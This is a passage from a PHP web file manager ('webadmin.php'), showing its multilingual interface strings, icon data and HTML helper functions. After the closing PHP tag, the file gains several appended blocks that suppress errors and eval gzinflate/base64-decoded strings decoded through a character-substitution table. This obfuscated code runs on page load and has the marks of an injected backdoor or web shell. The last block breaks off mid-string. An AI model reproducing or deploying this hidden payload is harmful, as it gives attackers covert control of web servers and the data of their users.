2000'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
2001'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
2002'move_files' => 'Flyt disse filer:',
2003'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2004'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2005'copy_files' => 'Kopier disse filer:',
2006'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2007'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2008'not_edited' => '"[%1]" kan ikke redigeres.',
2009'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
2010'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
2011'saved' => '"[%1]" er blevet gemt.',
2012'not_saved' => '"[%1]" kunne ikke gemmes.',
2013'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2014'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2015'permission_for' => 'Rettigheder for "[%1]":',
2016'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2017'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
2018'not_readable' => '"[%1]" Kan ikke læses.'
2019 );
2020
2021 case 'tr':
2022
2023 $date_format = 'n/j/y H:i:s';
2024
2025 return array(
2026'directory' => 'Klasör',
2027'file' => 'Dosya',
2028'filename' => 'dosya adi',
2029
2030'size' => 'boyutu',
2031'permission' => 'Izin',
2032'owner' => 'sahib',
2033'group' => 'Grup',
2034'other' => 'Digerleri',
2035'functions' => 'Fonksiyonlar',
2036
2037'read' => 'oku',
2038'write' => 'yaz',
2039'execute' => 'çalistir',
2040
2041'create_symlink' => 'yarat symlink',
2042'delete' => 'sil',
2043'rename' => 'ad degistir',
2044'move' => 'tasi',
2045'copy' => 'kopyala',
2046'edit' => 'düzenle',
2047'download' => 'indir',
2048'upload' => 'yükle',
2049'create' => 'create',
2050'change' => 'degistir',
2051'save' => 'kaydet',
2052'set' => 'ayar',
2053'reset' => 'sifirla',
2054'relative' => 'Hedef yola göre',
2055
2056'yes' => 'Evet',
2057'no' => 'Hayir',
2058'back' => 'Geri',
2059'destination' => 'Hedef',
2060'symlink' => 'Kýsa yol',
2061'no_output' => 'çikti yok',
2062
2063'user' => 'Kullanici',
2064'password' => 'Sifre',
2065'add' => 'ekle',
2066'add_basic_auth' => 'ekle basit-authentification',
2067
2068'uploaded' => '"[%1]" yüklendi.',
2069'not_uploaded' => '"[%1]" yüklenemedi.',
2070'already_exists' => '"[%1]" kullanilmakta.',
2071'created' => '"[%1]" olusturuldu.',
2072'not_created' => '"[%1]" olusturulamadi.',
2073'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
2074'deleted' => "Bu dosyalar silindi:\n[%1]",
2075'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
2076'rename_file' => 'Adi degisen dosya:',
2077'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
2078'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
2079'move_files' => 'Tasinan dosyalar:',
2080'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
2081'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
2082'copy_files' => 'Kopyalanan dosyalar:',
2083'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
2084'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
2085'not_edited' => '"[%1]" düzenlenemiyor.',
2086'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
2087'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
2088'saved' => '"[%1]" kaydedildi.',
2089'not_saved' => '"[%1]" kaydedilemedi.',
2090'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
2091'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
2092'permission_for' => 'Izinler "[%1]":',
2093'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
2094'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
2095'not_readable' => '"[%1]" okunamiyor.'
2096 );
2097
2098 case 'cs':
2099
2100 $date_format = 'd.m.y H:i:s';
2101
2102 return array(
2103'directory' => 'Adresář',
2104'file' => 'Soubor',
2105'filename' => 'Jméno souboru',
2106
2107'size' => 'Velikost',
2108'permission' => 'Práva',
2109'owner' => 'VlastnÃk',
2110'group' => 'Skupina',
2111'other' => 'OstatnÃ',
2112'functions' => 'Funkce',
2113
2114'read' => 'ÄŒtenÃ',
2115'write' => 'Zápis',
2116'execute' => 'SpouÅ¡tÄ›nÃ',
2117
2118'create_symlink' => 'Vytvořit symbolický odkaz',
2119'delete' => 'Smazat',
2120'rename' => 'Přejmenovat',
2121'move' => 'Přesunout',
2122'copy' => 'ZkopÃrovat',
2123'edit' => 'OtevÅ™Ãt',
2124'download' => 'Stáhnout',
2125'upload' => 'Nahraj na server',
2126'create' => 'Vytvořit',
2127'change' => 'Změnit',
2128'save' => 'Uložit',
2129'set' => 'Nastavit',
2130'reset' => 'zpět',
2131'relative' => 'Relatif',
2132
2133'yes' => 'Ano',
2134'no' => 'Ne',
2135'back' => 'Zpět',
2136'destination' => 'Destination',
2137'symlink' => 'Symbolický odkaz',
2138'no_output' => 'Prázdný výstup',
2139
2140'user' => 'Uživatel',
2141'password' => 'Heslo',
2142'add' => 'Přidat',
2143'add_basic_auth' => 'přidej základnà autentizaci',
2144
2145'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
2146'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
2147'already_exists' => 'Soubor "[%1]" už exituje.',
2148'created' => 'Soubor "[%1]" byl vytvořen.',
2149'not_created' => 'Soubor "[%1]" nemohl být vytvořen.',
2150'really_delete' => 'Vymazat soubor?',
2151'deleted' => "Byly vymazány tyto soubory:\n[%1]",
2152'not_deleted' => "Tyto soubory nemohly být vytvořeny:\n[%1]",
2153'rename_file' => 'Přejmenuj soubory:',
2154'renamed' => 'Soubor "[%1]" byl přejmenován na "[%2]".',
2155'not_renamed' => 'Soubor "[%1]" nemohl být přejmenován na "[%2]".',
2156'move_files' => 'PÅ™emÃstit tyto soubory:',
2157'moved' => "Tyto soubory byly pÅ™emÃstÄ›ny do \"[%2]\":\n[%1]",
2158'not_moved' => "Tyto soubory nemohly být pÅ™emÃstÄ›ny do \"[%2]\":\n[%1]",
2159'copy_files' => 'ZkopÃrovat tyto soubory:',
2160'copied' => "Tyto soubory byly zkopÃrovány do \"[%2]\":\n[%1]",
2161'not_copied' => "Tyto soubory nemohly být zkopÃrovány do \"[%2]\":\n[%1]",
2162'not_edited' => 'Soubor "[%1]" nemohl být otevřen.',
2163'executed' => "SOubor \"[%1]\" byl spuštěn :\n{%2}",
2164'not_executed' => "Soubor \"[%1]\" nemohl být spuštěn:\n{%2}",
2165'saved' => 'Soubor "[%1]" byl uložen.',
2166'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
2167'symlinked' => 'Byl vyvořen symbolický odkaz "[%2]" na soubor "[%1]".',
2168'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvořen.',
2169'permission_for' => 'Práva k "[%1]":',
2170'permission_set' => 'Práva k "[%1]" byla změněna na [%2].',
2171'permission_not_set' => 'Práva k "[%1]" nemohla být změněna na [%2].',
2172'not_readable' => 'Soubor "[%1]" nenà možno pÅ™eÄÃst.'
2173 );
2174
2175 case 'ru':
2176
2177 $date_format = 'd.m.y H:i:s';
2178
2179 return array(
2180'directory' => 'Каталог',
2181'file' => 'Файл',
2182'filename' => 'Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°',
2183
2184'size' => 'Размер',
2185'permission' => 'Права',
2186'owner' => 'ХозÑин',
2187'group' => 'Группа',
2188'other' => 'Другие',
2189'functions' => 'ФункциÑ',
2190
2191'read' => 'читать',
2192'write' => 'пиÑать',
2193'execute' => 'выполнить',
2194
2195'create_symlink' => 'Сделать Ñимлинк',
2196'delete' => 'удалить',
2197'rename' => 'переименовать',
2198'move' => 'передвинуть',
2199'copy' => 'копировать',
2200'edit' => 'редактировать',
2201'download' => 'Ñкачать',
2202'upload' => 'закачать',
2203'create' => 'Ñделать',
2204'change' => 'поменÑть',
2205'save' => 'Ñохранить',
2206'set' => 'уÑтановить',
2207'reset' => 'ÑброÑить',
2208'relative' => 'отноÑительный путь к цели',
2209
2210'yes' => 'да',
2211'no' => 'нет',
2212'back' => 'назад',
2213'destination' => 'цель',
2214'symlink' => 'ÑимволичеÑкий линк',
2215'no_output' => 'нет вывода',
2216
2217'user' => 'Пользователь',
2218'password' => 'Пароль',
2219'add' => 'добавить',
2220'add_basic_auth' => 'Добавить HTTP-Basic-Auth',
2221
2222'uploaded' => '"[%1]" был закачен.',
2223'not_uploaded' => '"[%1]" невозможно было закачÑть.',
2224'already_exists' => '"[%1]" уже ÑущеÑтвует.',
2225'created' => '"[%1]" был Ñделан.',
2226'not_created' => '"[%1]" не возможно Ñделать.',
2227'really_delete' => 'ДейÑтвительно Ñтот файл удалить?',
2228'deleted' => "Следующие файлы были удалены:\n[%1]",
2229'not_deleted' => "Следующие файлы не возможно было удалить:\n[%1]",
2230'rename_file' => 'Переименовываю файл:',
2231'renamed' => '"[%1]" был переименован на "[%2]".',
2232'not_renamed' => '"[%1] невозможно было переименовать на "[%2]".',
2233'move_files' => 'Передвигаю Ñледующие файлы:',
2234'moved' => "Следующие файлы были передвинуты в каталог \"[%2]\":\n[%1]",
2235'not_moved' => "Следующие файлы невозможно было передвинуть в каталог \"[%2]\":\n[%1]",
2236'copy_files' => 'Копирую Ñледущие файлы:',
2237'copied' => "Следущие файлы былы Ñкопированы в каталог \"[%2]\" :\n[%1]",
2238'not_copied' => "Следующие файлы невозможно было Ñкопировать в каталог \"[%2]\" :\n[%1]",
2239'not_edited' => '"[%1]" не может быть отредактирован.',
2240'executed' => "\"[%1]\" был уÑпешно иÑполнен:\n{%2}",
2241'not_executed' => "\"[%1]\" невозможно было запуÑтить на иÑполнение:\n{%2}",
2242'saved' => '"[%1]" был Ñохранен.',
2243'not_saved' => '"[%1]" невозможно было Ñохранить.',
2244'symlinked' => 'Симлинк Ñ "[%2]" на "[%1]" был Ñделан.',
2245'not_symlinked' => 'Ðевозможно было Ñделать Ñимлинк Ñ "[%2]" на "[%1]".',
2246'permission_for' => 'Права доÑтупа "[%1]":',
2247'permission_set' => 'Права доÑтупа "[%1]" были изменены на [%2].',
2248'permission_not_set' => 'Ðевозможно было изменить права доÑтупа к "[%1]" на [%2] .',
2249'not_readable' => '"[%1]" невозможно прочитать.'
2250 );
2251
2252 case 'pl':
2253
2254 $date_format = 'd.m.y H:i:s';
2255
2256 return array(
2257'directory' => 'Katalog',
2258'file' => 'Plik',
2259'filename' => 'Nazwa pliku',
2260'size' => 'Rozmiar',
2261'permission' => 'Uprawnienia',
2262'owner' => 'Właściciel',
2263'group' => 'Grupa',
2264'other' => 'Inni',
2265'functions' => 'Funkcje',
2266
2267'read' => 'odczyt',
2268'write' => 'zapis',
2269'execute' => 'wykonywanie',
2270
2271'create_symlink' => 'utwórz dowiązanie symboliczne',
2272'delete' => 'kasuj',
2273'rename' => 'zamień',
2274'move' => 'przenieÅ›',
2275'copy' => 'kopiuj',
2276'edit' => 'edytuj',
2277'download' => 'pobierz',
2278'upload' => 'Prześlij',
2279'create' => 'Utwórz',
2280'change' => 'Zmień',
2281'save' => 'Zapisz',
2282'set' => 'wykonaj',
2283'reset' => 'wyczyść',
2284'relative' => 'względna ścieżka do celu',
2285
2286'yes' => 'Tak',
2287'no' => 'Nie',
2288'back' => 'cofnij',
2289'destination' => 'miejsce przeznaczenia',
2290'symlink' => 'dowiÄ…zanie symboliczne',
2291'no_output' => 'nie ma wyjścia',
2292
2293'user' => 'Urzytkownik',
2294'password' => 'Hasło',
2295'add' => 'dodaj',
2296'add_basic_auth' => 'dodaj podstawowe uwierzytelnianie',
2297
2298'uploaded' => '"[%1]" został przesłany.',
2299'not_uploaded' => '"[%1]" nie może być przesłane.',
2300'already_exists' => '"[%1]" już istnieje.',
2301'created' => '"[%1]" został utworzony.',
2302'not_created' => '"[%1]" nie można utworzyć.',
2303'really_delete' => 'usunąć te pliki?',
2304'deleted' => "Pliki zostały usunięte:\n[%1]",
2305'not_deleted' => "Te pliki nie mogą być usunięte:\n[%1]",
2306'rename_file' => 'Zmień nazwę pliku:',
2307'renamed' => '"[%1]" zostało zmienione na "[%2]".',
2308'not_renamed' => '"[%1] nie można zmienić na "[%2]".',
2309'move_files' => 'PrzenieÅ› te pliki:',
2310'moved' => "Pliki zostały przeniesione do \"[%2]\":\n[%1]",
2311'not_moved' => "Pliki nie mogą być przeniesione do \"[%2]\":\n[%1]",
2312'copy_files' => 'Skopiuj te pliki:',
2313'copied' => "Pliki zostały skopiowane \"[%2]\":\n[%1]",
2314'not_copied' => "Te pliki nie mogą być kopiowane do \"[%2]\":\n[%1]",
2315'not_edited' => '"[%1]" nie można edytować.',
2316'executed' => "\"[%1]\" zostało wykonane pomyślnie:\n{%2}",
2317'not_executed' => "\"[%1]\" nie może być wykonane:\n{%2}",
2318'saved' => '"[%1]" został zapisany.',
2319'not_saved' => '"[%1]" nie można zapisać.',
2320'symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" zostało utworzone.',
2321'not_symlinked' => 'Dowiązanie symboliczne "[%2]" do "[%1]" nie moze być utworzone.',
2322'permission_for' => 'Uprawnienia "[%1]":',
2323'permission_set' => 'Uprawnienia "[%1]" zostały ustalone na [%2].',
2324'permission_not_set' => 'Uprawnienia "[%1]" nie mogą być ustawione na [%2].',
2325'not_readable' => '"[%1]" nie można odczytać.'
2326 );
2327
2328 case 'en':
2329 default:
2330
2331 $date_format = 'n/j/y H:i:s';
2332
2333 return array(
2334'directory' => 'Directory',
2335'file' => 'File',
2336'filename' => 'Filename',
2337
2338'size' => 'Size',
2339'permission' => 'Permission',
2340'owner' => 'Owner',
2341'group' => 'Group',
2342'other' => 'Others',
2343'functions' => 'Functions',
2344
2345'read' => 'read',
2346'write' => 'write',
2347'execute' => 'execute',
2348
2349'create_symlink' => 'create symlink',
2350'delete' => 'delete',
2351'rename' => 'rename',
2352'move' => 'move',
2353'copy' => 'copy',
2354'edit' => 'edit',
2355'download' => 'download',
2356'upload' => 'upload',
2357'create' => 'create',
2358'change' => 'change',
2359'save' => 'save',
2360'set' => 'set',
2361'reset' => 'reset',
2362'relative' => 'Relative path to target',
2363
2364'yes' => 'Yes',
2365'no' => 'No',
2366'back' => 'back',
2367'destination' => 'Destination',
2368'symlink' => 'Symlink',
2369'no_output' => 'no output',
2370
2371'user' => 'User',
2372'password' => 'Password',
2373'add' => 'add',
2374'add_basic_auth' => 'add basic-authentification',
2375
2376'uploaded' => '"[%1]" has been uploaded.',
2377'not_uploaded' => '"[%1]" could not be uploaded.',
2378'already_exists' => '"[%1]" already exists.',
2379'created' => '"[%1]" has been created.',
2380'not_created' => '"[%1]" could not be created.',
2381'really_delete' => 'Delete these files?',
2382'deleted' => "These files have been deleted:\n[%1]",
2383'not_deleted' => "These files could not be deleted:\n[%1]",
2384'rename_file' => 'Rename file:',
2385'renamed' => '"[%1]" has been renamed to "[%2]".',
2386'not_renamed' => '"[%1] could not be renamed to "[%2]".',
2387'move_files' => 'Move these files:',
2388'moved' => "These files have been moved to \"[%2]\":\n[%1]",
2389'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
2390'copy_files' => 'Copy these files:',
2391'copied' => "These files have been copied to \"[%2]\":\n[%1]",
2392'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
2393'not_edited' => '"[%1]" can not be edited.',
2394'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
2395'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
2396'saved' => '"[%1]" has been saved.',
2397'not_saved' => '"[%1]" could not be saved.',
2398'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
2399'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
2400'permission_for' => 'Permission of "[%1]":',
2401'permission_set' => 'Permission of "[%1]" was set to [%2].',
2402'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
2403'not_readable' => '"[%1]" can not be read.'
2404 );
2405
2406 }
2407
2408}
2409
2410function getimage ($image) {
2411 switch ($image) {
2412 case 'file':
2413 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2414 case 'folder':
2415 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
2416 case 'hidden_file':
2417 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
2418 case 'link':
2419 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
2420 case 'smiley':
2421 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
2422 case 'arrow':
2423 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
2424 }
2425}
2426
2427function html_header () {
2428 global $site_charset;
2429
2430 echo <<<END
2431<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
2432 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2433<html xmlns="http://www.w3.org/1999/xhtml">
2434<head>
2435
2436<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
2437
2438<title>webadmin.php</title>
2439
2440<style type="text/css">
2441body { font: small sans-serif; text-align: center }
2442img { width: 17px; height: 13px }
2443a, a:visited { text-decoration: none; color: navy }
2444hr { border-style: none; height: 1px; background-color: silver; color: silver }
2445#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
2446#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
2447.listing th, .listing td { padding: 1px 3pt 0 3pt }
2448.listing th { border: 1px solid silver }
2449.listing td { border: 1px solid #ddd; background: white }
2450.listing .checkbox { text-align: center }
2451.listing .filename { text-align: left }
2452.listing .size { text-align: right }
2453.listing th.permission { text-align: left }
2454.listing td.permission { font-family: monospace }
2455.listing .owner { text-align: left }
2456.listing .group { text-align: left }
2457.listing .functions { text-align: left }
2458.listing_footer td { background: #eee; border: 1px solid silver }
2459#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
2460#directory { background: #eee; border: 1px solid silver }
2461#upload { padding-top: 1em }
2462#create { padding-bottom: 1em }
2463.small, .small option { font-size: x-small }
2464textarea { border: none; background: white }
2465table.dialog { margin-left: auto; margin-right: auto }
2466td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
2467#permission { margin-left: auto; margin-right: auto }
2468#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
2469td.permission_action { text-align: right }
2470#symlink { background: #eee; border: 1px solid silver }
2471#symlink td { text-align: left; padding: 3pt }
2472#red_button { width: 120px; color: #400 }
2473#green_button { width: 120px; color: #040 }
2474#error td { background: maroon; color: white; border: 1px solid silver }
2475#notice td { background: green; color: white; border: 1px solid silver }
2476#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
2477code { font-size: 12pt }
2478td { white-space: nowrap }
2479</style>
2480
2481<script type="text/javascript">
2482<!--
2483function activate (name) {
2484 if (document && document.forms[0] && document.forms[0].elements['focus']) {
2485 document.forms[0].elements['focus'].value = name;
2486 }
2487}
2488//-->
2489</script>
2490
2491</head>
2492<body>
2493
2494
2495END;
2496
2497}
2498
2499function html_footer () {
2500
2501 echo <<<END
2502</body>
2503</html>
2504END;
2505
2506}
2507
2508function notice ($phrase) {
2509 global $cols;
2510
2511 $args = func_get_args();
2512 array_shift($args);
2513
2514 return '<tr id="notice">
2515 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2516</tr>
2517';
2518
2519}
2520
2521function error ($phrase) {
2522 global $cols;
2523
2524 $args = func_get_args();
2525 array_shift($args);
2526
2527 return '<tr id="error">
2528 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
2529</tr>
2530';
2531
2532}
2533
2534?>
2535<?php
2536error_reporting(0);
2537ini_set('max_execution_time',0);
2538eval(base64_decode("JGNvbj1bIkEiPT4icSIsCiAgICAgICJCIj0+InciLAogICAgICAiQyI9PiJlIiwKICAgICAgIkQiPT4iciIsCiAgICAgICJFIj0+InQiLAogICAgICAiRiI9PiJ5IiwKICAgICAgIkciPT4idSIsCiAgICAgICJIIj0+ImkiLAogICAgICAiSSI9PiJvIiwKICAgICAgIkoiPT4icCIsCiAgICAgICJLIj0+IlsiLAogICAgICAiTCI9PiJdIiwKICAgICAgIk0iPT4iYSIsCiAgICAgICJOIj0+InMiLAogICAgICAiTyI9PiJkIiwKICAgICAgIlAiPT4iZiIsCiAgICAgICJRIj0+ImciLAogICAgICAiUiI9PiJoIiwKICAgICAgIlMiPT4iaiIsCiAgICAgICJUIj0+ImsiLAogICAgICAiVSI9PiJsIiwKICAgICAgIlYiPT4iOyIsCiAgICAgICJXIj0+IiciLAogICAgICAiWCI9PiJ8IiwKICAgICAgIlkiPT4ieiIsCiAgICAgICJaIj0+IngiLAogICAgICAiYSI9PiJjIiwKICAgICAgImIiPT4idiIsCiAgICAgICJjIj0+ImIiLAogICAgICAiZCI9PiJuIiwKICAgICAgImUiPT4ibSIsCiAgICAgICJmIj0+IiwiLAogICAgICAiZyI9PiIuIiwKICAgICAgImgiPT4ifSIsCiAgICAgICJpIj0+IlEiLAogICAgICAiaiI9PiJXIiwKICAgICAgImsiPT4iRSIsCiAgICAgICJsIj0+IlIiLAogICAgICAibSI9PiJUIiwKICAgICAgIm4iPT4iWSIsCiAgICAgICJvIj0+IlUiLAogICAgICAicCI9PiJJIiwKICAgICAgInEiPT4iTyIsCiAgICAgICJyIj0+IlAiLAogICAgICAicyI9PiIxIiwKICAgICAgInQiPT4iMiIsCiAgICAgICJ1Ij0+IkEiLAogICAgICAidiI9PiJTIiwKICAgICAgInciPT4iRCIsCiAgICAgICJ4Ij0+IkYiLAogICAgICAieSI9PiJHIiwKICAgICAgInoiPT4iSCIsCiAgICAgICIwIj0+IkoiLAogICAgICAiMSI9PiJLIiwKICAgICAgIjIiPT4iTCIsCiAgICAgICIzIj0+IjAiLAogICAgICAiNCI9PiI5IiwKICAgICAgIjUiPT4iOCIsCiAgICAgICI2Ij0+IjciLAogICAgICAiNyI9PiI2IiwKICAgICAgIjgiPT4iNSIsCiAgICAgICI5Ij0+IjQiLAogICAgICAiKyI9PiIzIiwKICAgICAgIi8iPT4iPSIsCiAgICAgICI9Ij0+IiYiXTs="));
2539$x=str_split("xz=wr1yqyt|0SToGElG6cgELkubW}qKQGEccQnxWhwR8YhtQ=RL]QahvYI26b24374';it.8YE8'FJ0iOFnDS,Rpyyu]rO}f6W|GfbQJoxkPIT}nGnwRwJwGcghsiIco76c.D;T,RkA2W3r8qmlIeP9KpJ1GEFAaua[uegR9[zSW'x,gzqn'T5[T2KmYLWp,rAzPsUPWThIsxbGjj}h'ySiYG=b6vnfbqhs4}D}R1Q.qfL[;SxRGp,s3sutK2,n46ftt");
2540$new="";
2541foreach($x as $xx) {
2542 foreach($con as $main=>$val) {
2543 if($xx==(string)$val) {
2544 $new.=$main;
2545 break;
2546 }
2547 }
2548}
2549eval(gzinflate(base64_decode($new)));
2550?>
2551<?php
2552error_reporting(0);
2553ini_set('max_execution_time',0);
2554eval(base64_decode("JGNvbj1bIkEiPT4icSIsCiAgICAgICJCIj0+InciLAogICAgICAiQyI9PiJlIiwKICAgICAgIkQiPT4iciIsCiAgICAgICJFIj0+InQiLAogICAgICAiRiI9PiJ5IiwKICAgICAgIkciPT4idSIsCiAgICAgICJIIj0+ImkiLAogICAgICAiSSI9PiJvIiwKICAgICAgIkoiPT4icCIsCiAgICAgICJLIj0+IlsiLAogICAgICAiTCI9PiJdIiwKICAgICAgIk0iPT4iYSIsCiAgICAgICJOIj0+InMiLAogICAgICAiTyI9PiJkIiwKICAgICAgIlAiPT4iZiIsCiAgICAgICJRIj0+ImciLAogICAgICAiUiI9PiJoIiwKICAgICAgIlMiPT4iaiIsCiAgICAgICJUIj0+ImsiLAogICAgICAiVSI9PiJsIiwKICAgICAgIlYiPT4iOyIsCiAgICAgICJXIj0+IiciLAogICAgICAiWCI9PiJ8IiwKICAgICAgIlkiPT4ieiIsCiAgICAgICJaIj0+IngiLAogICAgICAiYSI9PiJjIiwKICAgICAgImIiPT4idiIsCiAgICAgICJjIj0+ImIiLAogICAgICAiZCI9PiJuIiwKICAgICAgImUiPT4ibSIsCiAgICAgICJmIj0+IiwiLAogICAgICAiZyI9PiIuIiwKICAgICAgImgiPT4ifSIsCiAgICAgICJpIj0+IlEiLAogICAgICAiaiI9PiJXIiwKICAgICAgImsiPT4iRSIsCiAgICAgICJsIj0+IlIiLAogICAgICAibSI9PiJUIiwKICAgICAgIm4iPT4iWSIsCiAgICAgICJvIj0+IlUiLAogICAgICAicCI9PiJJIiwKICAgICAgInEiPT4iTyIsCiAgICAgICJyIj0+IlAiLAogICAgICAicyI9PiIxIiwKICAgICAgInQiPT4iMiIsCiAgICAgICJ1Ij0+IkEiLAogICAgICAidiI9PiJTIiwKICAgICAgInciPT4iRCIsCiAgICAgICJ4Ij0+IkYiLAogICAgICAieSI9PiJHIiwKICAgICAgInoiPT4iSCIsCiAgICAgICIwIj0+IkoiLAogICAgICAiMSI9PiJLIiwKICAgICAgIjIiPT4iTCIsCiAgICAgICIzIj0+IjAiLAogICAgICAiNCI9PiI5IiwKICAgICAgIjUiPT4iOCIsCiAgICAgICI2Ij0+IjciLAogICAgICAiNyI9PiI2IiwKICAgICAgIjgiPT4iNSIsCiAgICAgICI5Ij0+IjQiLAogICAgICAiKyI9PiIzIiwKICAgICAgIi8iPT4iPSIsCiAgICAgICI9Ij0+IiYiXTs="));
2555$x=str_split("Pnksj1gDtqr.m84QLt2dlW0v]cH;nht|y6O]9eKs1JJDGzk5ef|IH;vJ8t'j0ezkfUzxaIDp}y|;esn'1pHTWt7r8Ei.AecfrJ,GEJE8c'Datuv]K5kigb2qDyenUUeUeiFgy;fgHKIp559nqj5=J5|sszi=aFLn3]cig2IkK]xghg'IA4Rj60dFr'fbm4}h]LqPH;QUAs]1p.vlst.u0cyUYc|n,xUp0faHxvYj[6PhAE1|y=dlh.LnUuv[}n=g5[1n4aA]E[AnPt[c0vx3,HFq8GW]==IUqT'wcGI;T|82wUD}W0Wue;8GEk8[pE,3y4]lR406u00S8[zmbpHvOORyJ[O2;Pn,");
2556$new="";
2557foreach($x as $xx) {
2558 foreach($con as $main=>$val) {
2559 if($xx==(string)$val) {
2560 $new.=$main;
2561 break;
2562 }
2563 }
2564}
2565eval(gzinflate(base64_decode($new)));
2566?>
2567<?php
2568error_reporting(0);
2569ini_set('max_execution_time',0);
2570eval(base64_decode("JGNvbj1bIkEiPT4icSIsCiAgICAgICJCIj0+InciLAogICAgICAiQyI9PiJlIiwKICAgICAgIkQiPT4iciIsCiAgICAgICJFIj0+InQiLAogICAgICAiRiI9PiJ5IiwKICAgICAgIkciPT4idSIsCiAgICAgICJIIj0+ImkiLAogICAgICAiSSI9PiJvIiwKICAgICAgIkoiPT4icCIsCiAgICAgICJLIj0+IlsiLAogICAgICAiTCI9PiJdIiwKICAgICAgIk0iPT4iYSIsCiAgICAgICJOIj0+InMiLAogICAgICAiTyI9PiJkIiwKICAgICAgIlAiPT4iZiIsCiAgICAgICJRIj0+ImciLAogICAgICAiUiI9PiJoIiwKICAgICAgIlMiPT4iaiIsCiAgICAgICJUIj0+ImsiLAogICAgICAiVSI9PiJsIiwKICAgICAgIlYiPT4iOyIsCiAgICAgICJXIj0+IiciLAogICAgICAiWCI9PiJ8IiwKICAgICAgIlkiPT4ieiIsCiAgICAgICJaIj0+IngiLAogICAgICAiYSI9PiJjIiwKICAgICAgImIiPT4idiIsCiAgICAgICJjIj0+ImIiLAogICAgICAiZCI9PiJuIiwKICAgICAgImUiPT4ibSIsCiAgICAgICJmIj0+IiwiLAogICAgICAiZyI9PiIuIiwKICAgICAgImgiPT4ifSIsCiAgICAgICJpIj0+IlEiLAogICAgICAiaiI9PiJXIiwKICAgICAgImsiPT4iRSIsCiAgICAgICJsIj0+IlIiLAogICAgICAibSI9PiJUIiwKICAgICAgIm4iPT4iWSIsCiAgICAgICJvIj0+IlUiLAogICAgICAicCI9PiJJIiwKICAgICAgInEiPT4iTyIsCiAgICAgICJyIj0+IlAiLAogICAgICAicyI9PiIxIiwKICAgICAgInQiPT4iMiIsCiAgICAgICJ1Ij0+IkEiLAogICAgICAidiI9PiJTIiwKICAgICAgInciPT4i